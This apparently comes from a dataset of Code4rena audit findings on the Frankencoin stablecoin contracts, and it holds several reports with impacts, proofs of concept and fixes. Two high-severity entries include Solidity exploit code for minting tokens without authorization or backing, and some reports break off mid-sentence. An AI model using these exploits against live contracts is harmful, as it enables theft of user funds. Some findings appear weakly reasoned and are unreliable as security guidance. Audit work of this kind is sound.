xanoutas/solidity-security-findings huggingface dataset:
Mistakes in minter settings during initial contract deployment
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L84
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L85


# Vulnerability details

## Impact

An attacker can become a minter, minting as many ZCHF tokens as they want, and consequently rendering the protocol meaningless.

## Proof of Concept

### direct link github

[https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L83](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L83)

### PoC

```jsx
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../contracts/test/Strings.sol";
import "../contracts/test/TestToken.sol";
import "../contracts/IERC20.sol";
import "../contracts/Equity.sol";
import "../contracts/IReserve.sol";
import "../contracts/IFrankencoin.sol";
import "../contracts/Ownable.sol";
import "../contracts/Position.sol";
import "../contracts/IPosition.sol";
import "../contracts/MintingHub.sol";
import "../contracts/PositionFactory.sol";
import "../contracts/StablecoinBridge.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";

contract GeneralTest is Test {
    IFrankencoin zchf;
    User alice;
    User bob;
    address junan;

    constructor(){
        zchf = Frankencoin(0x7a787023f6E18f979B143C79885323a24709B0d8);
        junan = address(0x1234);
    }
    function testTets() public {
        console.log("block number: ",block.number);
        
        vm.startPrank(junan);
        console.log("junan's token before mint:",zchf.balanceOf(junan));

        zchf.suggestMinter(junan, 0, 0, "");
        zchf.mint(junan, 999 ether, 0, 0);

        console.log("junan's token after mint:",zchf.balanceOf(junan));
        vm.stopPrank();
    }
}
```


## Tools Used

 Foundry forge

## Recommended Mitigation Steps

1. Use constructor and mint 1 or more token
2. [https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L85](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L85) change >  ⇒  ≥
Lack of Validation in the Mint Function
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L166


# Vulnerability details

## Impact
The vulnerability allows a minter to mint ZCHF tokens without having the required reserve to back the newly minted tokens. This can lead to the minter creating ZCHF tokens without proper backing, potentially resulting in financial losses for the Frankencoin contract and its users.

## Proof of Concept
  lets assume Amrah she is a attacker wants to take advantage of a weakness in the system to make tokens without having enough funds, she can do it by making a new contract that works with the vulnerable smart contract.Amrah can then make tokens without providing the necessary funds.


Amrah deploys a new contract that interacts with the vulnerable smart contract.

		pragma solidity ^0.8.0;

		import "./Frankencoin.sol";

		contract Exploit {
		    Frankencoin public zchf;

		    constructor(Frankencoin _zchf) {
			zchf = _zchf;
		    }

		    function mint(address _target, uint256 _amount) external {
			zchf.mint(_target, _amount, 0, 0);
		    }
		}


Amrah has 100 ZCHF tokens and she gives permission to the Exploit contract to spend some or all of those tokens on her behalf. This is done so that the Exploit contract can use the approved tokens to mint additional tokens without the required reserve.


		zchf.approve(exploitContractAddress, 100);


In this situation, Amrah would use the "mint" function of the Exploit contract and give it the target address (where the tokens are to be minted) and the amount of tokens to be minted, which in this case is 10 ZCHF. The exploit allows Amrah to mint these tokens without providing the required reserve.

		exploit.mint(targetAddress, 10);

The Exploit contract calls the mint function of the vulnerable smart contract, passing it the target address, the amount of tokens to mint, and 0 reserve and fees.

		function mint(address _target, uint256 _amount) external {
		    zchf.mint(_target, _amount, 0, 0);
		}


The mint function of the vulnerable smart contract mints the tokens and adds them to the balance of the target address. However, it does not check whether the minter has the required reserve to back the newly minted tokens.

		function mint(address _target, uint256 _amount, uint32 _reservePPM, uint32 _feesPPM) override external minterOnly {
		    uint256 usableMint = (_amount * (1000_000 - _feesPPM - _reservePPM)) / 1000_000; 
		    _mint(_target, usableMint);
		    _mint(address(reserve), _amount - usableMint); 
		    minterReserveE6 += _amount * _reservePPM; 

Amrah has successfully minted tokens without providing the required reserve, causing an imbalance in the smart contract and making it insolvent.

## Tools Used
VSCODE
## Recommended Mitigation Steps
The recommended mitigation for the Frankencoin smart contract is to update the mint function to include proper validation. This can be achieved by adding an if-statement to
Burn logic issue due to lack of checking parameter 0 in burnWithReserve function 
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L234-L257


# Vulnerability details


## Impact
- The token quantity is sent to 0 and then the token is internally burned, causing a logic problem.

## Proof of Concept
1. burnWithReserve() -> _reservePPM = 0
    2. calculateFreedAmount() call
        -> The result is scaled by the ratio of currentReserve and minterReserve_ values through the constant operator, but since the final reservePPM value is 0, the adjustedReservePPM value will be 0.
        -> When the function returns, 1000000 * amountExcludingReserve / (1000000 - 0) = amountExcludingReserve 
        -> Only the value of amountExcludingReserve can be used purely as is.
3. it comes back and affects the sub-logic because the freedAmount value is 0.
4. when _transfer is executed, freedAmount and _amountExcludingReserve are changed to 0 and transferred because they are the same value.
5. finally, since the freedAmount value exists, it can be burned without sending the corresponding token.
6. This is where the problem arises because the logic is done by returning the freedAmount value.


## Tools Used
Static analysis

## Recommended Mitigation Steps
- For each parameter, value validation against zero is required.
`createNewPosition`/`clonePosition`/`createClone` are suspicious of the reorg attack
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/PositionFactory.sol#L13
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/PositionFactory.sol#L37
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/PositionFactory.sol#L30


# Vulnerability details

## Description

The `createNewPosition` function creates a new position smart contract and returns its address. The address is determined by `create` address derivation, that depends on the contract nonce. 

Later user could use interact with newly created contract.

At the same time, block reorg may happen on any blockchain. A very clear example to consider would be Polygon:

- https://polygonscan.com/blocks_forked

Please note, reorg on Polygon happens really often. Some are 1 block long, some are >5 minutes long. For the latest, it is quite enough to call one or two functions, especially when someone uses a script, and not doing it by hand.

**Example**, the Polygon had an incident of 5.5 minutes long reorg 2 weeks ago. 

- https://polygonscan.com/block/39599624/f?hash=0x0b7e6c5e9fbae3e2dbd114e4836b52ffb1211820bf62bbbd3ddf859dd07c0fe1

![](https://i.imgur.com/ovoB5VX.png)


**Another example**, the incident of 4 minutes long reorg back in December.

- https://polygonscan.com/block/36757444/f?hash=0xf9aefee3ea0e4fc5f67aac48cb6e25912158ce9dca9ec6c99259d937433d6df8

![](https://i.imgur.com/FiyTamD.png)

While Ethereum seems to be stable, there is no guarantee of the absence of reorgs, which happened a lot previously.

Another interesting impact of this is Optimistic rollups that are quite popular nowadays. Network operators can include a transaction in a block, the user receives the block confirmation and makes a transaction, but the operator reorganizes the blocks for the sake of profit (or because of any other reason, like a bug in server implementation).

Users usually don't have a full node of optimistic rollup to validate whether the state can't be reverted, the same as a user doesn't wait 7 days between submitting transactions.

All in all, the block reorg is expected behavior for the blockchain and should handle properly to avoid loss of user funds.

## Attack scenario

Imagine that Alice creates a position smart contract by one of the functions `createNewPosition`/`clonePosition`/`createClone`. And Alice  Bob sees that the network block reorg happens and calls the same function with different parameters. Thus, it creates position with an address that Alice expected to have. Any Alices’ transactions that are executed to position smart contaract (like create challenge and all related functionality) will be executed on position with Bobs provided parameters. 

## Impact

Any significant reorg incident creates an opportunity to steal users’ funds. Also, the use of a small number of confirmations in user transactions can lead to a loss of money.

Lastly, if users rely on the address derivation in advance or try to create th
User minting `FPS` can get grieved by equity loss event
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L244-L247


# Vulnerability details


minting in `onTokenTransfer` handles the case `equity <= amount` as the first deposit, minting it `1000` shares no matter the amount of `ZCHF` transferred

```solidity
File: Equity.sol
244:         require(equity >= MINIMUM_EQUITY, "insuf equity"); // ensures that the initial deposit is at least 1000 ZCHF
245: 
246:         // Assign 1000 FPS for the initial deposit, calculate the amount otherwise
247:         uint256 shares = equity <= amount ? 1000 * ONE_DEC18 : calculateSharesInternal(equity - amount, amount);
```

The issue is that there is another case scenario in which `equity <= amount`: if a loss happens and equity stands at a negative value (see the example given [here](https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L303-L305)).

In such case, if `amount` is large enough to bring back equity above water [here](https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L141), it will result in `equity <= amount` being `true`, minting the user only `1000` shares.



## Impact

An innocent user calling `Equity.onTokenTransfer()` just after a huge equity loss - which triggered `Frankencoin.notifyLoss`, will get fewer shares than expected.

Note that as the transactions can happen in the same block, there is nothing protecting users from this happening.

The big difference with [this scenario](https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L304-L308) is that the victim did not intend to do this - also, they will not be able to bootstrap the system after this because of the check line 311.

## Proof Of Concept

Run the test `test_Audit_Equity_UnfairLoss` in the following gist: https://gist.github.com/joestakey/fbc954de53b7e018f5121212488e847c


run it once as it is, this should result in:

```
FPS charlieBalance:  1429120543707280923000 // 1429 shares
```

Then toggle the block marked with `TOGGLE` on - which simulates a loss.

This should result in:

```
FPS charlieBalance:  1000000000000000000000 // 1000 shares
```

The equity loss resulted in Charlie receiving less shares than expected

## Tools Used

Manual Analysis

## Mitigation

`onTokenTransfer` should introduce a `minSharesOut` parameter to protect users from this scenario.

Users will be able to estimate the number of shares they would receive using `calculateShares()`, and use this as a basis for how many shares they allow to receive.
Malicious redeem prevention
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L275


# Vulnerability details

## Impact
Sending FPS to a person affects his `voteAnchor` and can prevent him from withdrawing money for a long time

## Proof of Concept
Since `canRedeem` function is using `voteAnchor` to determine holding period
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L136
and sending FPS evokes `adjustRecipientVoteAnchor`, which shifts VoteAnchor forward 
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L157
then you can send `x` FPS to a person that only is holding `x` FPS for 90 days to prevent him from redeeming for a month and a half.
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L161  

## Recommended Mitigation Steps
Choose different redeeming mechanism, like requests with timestamps and transfer freeze
Position.sol: usage of an incorrect version of Ownable library can potentially malfunction all onlyOwner functions
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L14


# Vulnerability details

## Impact


https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Ownable.sol#L3

```solidity   
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
```

The current implementaion is using a non-upgradeable version of the Ownable library isnstead of the upgradeable version: 
@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol.

A regular, non-upgradeable Ownable library will make the deployer the default owner in the constructor. 
Due to a requirement of the proxy-based upgradeability system, no constructors can be used in upgradeable contracts. 
Therefore, there will be no owner when the contract is deployed as a proxy contract



## Proof of Concept


https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L14

```solidity   
	contract Position is Ownable, IPosition, MathUtil {
```

## Tools Used

Manual review

## Recommended Mitigation Steps


Use @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol instead
Lack of slippage in `redeem` can result in loss of shares for redeemer
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L276-L283


# Vulnerability details


`FPS` holders can redeem their shares against `zchf` using `redeem()`

```solidity
File: Equity.sol
276: function redeem(address target, uint256 shares) public returns (uint256) {//@audit no slippage, calculateProceeds() can return 0
277:         require(canRedeem(msg.sender));
278:         uint256 proceeds = calculateProceeds(shares);
279:         _burn(msg.sender, shares);
280:         zchf.transfer(target, proceeds);
281:         emit Trade(msg.sender, -int(shares), proceeds, price());
282:         return proceeds;
283:     }
```

The issue is that there is no slippage in this function.
As the amount of `zchf` computed in `calculateProceeds()` is a function of `equity`, events happening in the same block before the `redeem()` call can affect the amount of `zchf` received by the user




## Impact

Users can receive less than expected.

But if a big equity loss happens resulting in `zchf.equity` returning 0, `calculateProceeds` will return 0, meaning the user will see their shares being burnt without receiving any `zchf`.

While it can be argued that the user shares were worth nothing due to the equity loss, in the case of the "brave soul" ready to save the protocol - mentioned in the [case scenario here](https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L304-L307), they will have lost the ability and incentive to do so.

## Tools Used

Manual Analysis

## Mitigation

Add a slippage parameter in `redeem()`

Users will be able to estimate how much they can expect using `calculateProceeds()`.
Return values of ERC20 transfer and transferFrom are unchecked
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L279
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L204
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L210
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L225
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L268
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L284
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L294
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L108
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L129
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L110
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L142
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L138
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L228
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L253
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L269
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/StablecoinBridge.sol#L45
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/StablecoinBridge.sol#L69


# Vulnerability details

## Impact
The return values of ERC20 `transfer` and `transferFrom` are not checked to be true, which could be `false` if the transferred tokens are not ERC20-compliant. In that case, the transfer fails without being noticed by the calling contract.

## Proof of Concept
Links:
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L279
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L204
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L210
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L225
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L268
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L284
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L294
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L108
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L129
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L110
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L142
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L138
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Positio
`end()` reverts if bidder blacklisted by collateral token, grieving challenger
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L352
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L269


# Vulnerability details


A successful challenge can be ended via `MintingHub.end()`.
This transfers `challenge.size` collateral back to the `challenger`, before repaying the challenge and paying the challenger the reward.

In this call, `position.notifyChallengeSucceeded` is called.
This transfers the position's collateral to the highest bidder.


```solidity
File: Position.sol
351: notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
352:         internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
```

```solidity
File: Position.sol
268: function internalWithdrawCollateral(address target, uint256 amount) internal returns (uint256) {
269:         IERC20(collateral).transfer(target, amount);
270:         uint256 balance = collateralBalance();
271:         if (balance < minimumCollateral){
272:             cooldown = expiration;
273:         }
274:         emitUpdate();
275:         return balance;
276:     }
```

The issue is that in case of a token with blacklist (`USDC`, `USDT`), if the bidder is blacklisted before the `end()` call, the transfer line 269 will revert



## Impact

`end()` will always revert for this challenge.
The challenge cannot be ended and the challenger will never retrieve their `size` collateral.



## Tools Used

Manual Analysis

## Mitigation

`end()` already handles the case where the challenger is blacklisted by such tokens.
Add a similar functionality in `notifyChallengeSucceeded()` for the `internalWithdrawCollateral()` internal call.
`Equity.restructureCapTable` only restructures one address at a time 
Audit: 2023-04-frankencoin-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L313


# Vulnerability details


`Equity.restructureCapTable` allows qualified FPS holders to restructure the system, that is: burning shares of other holders that did not participate in putting equity above water.

```solidity
File: Equity.sol
309: function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public {
310:         require(zchf.equity() < MINIMUM_EQUITY);
311:         checkQualified(msg.sender, helpers);
312:         for (uint256 i = 0; i<addressesToWipe.length; i++){
313:             address current = addressesToWipe[0];//@audit should be addressesToWipe[i]
314:             _burn(current, balanceOf(current));
315:         }
316:     }
```

The issue is that the loop sets on each iteration the address to remove as `addressesToWipe[0]`, instead of `addressesToWipe[i]`.


## Impact

`restructureCapTable()` does not perform its function: removing atomically all the "passive" shareholders.
This not only means increased gas cost  - as the qualified holder will need to call `Equity.restructureCapTable()` N times to remove N holders, but also makes the whole procees cumbersome if the function needs to be called a high number of times



## Proof Of Concept

Run the test `test_Audit_Equity_RestructureIncorrect` from the following gist: https://gist.github.com/joestakey/fbc954de53b7e018f5121212488e847c


Only the first address gets wiped out.

## Tools Used

Manual Analysis, Foundry

## Mitigation


```diff
File: Equity.sol
309: function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public {
310:         require(zchf.equity() < MINIMUM_EQUITY);
311:         checkQualified(msg.sender, helpers);
312:         for (uint256 i = 0; i<addressesToWipe.length; i++){
+313:             address current = addressesToWipe[i];
-313:             address current = addressesToWipe[0];
314:             _burn(current, balanceOf(current));
315:         }
316:     }
```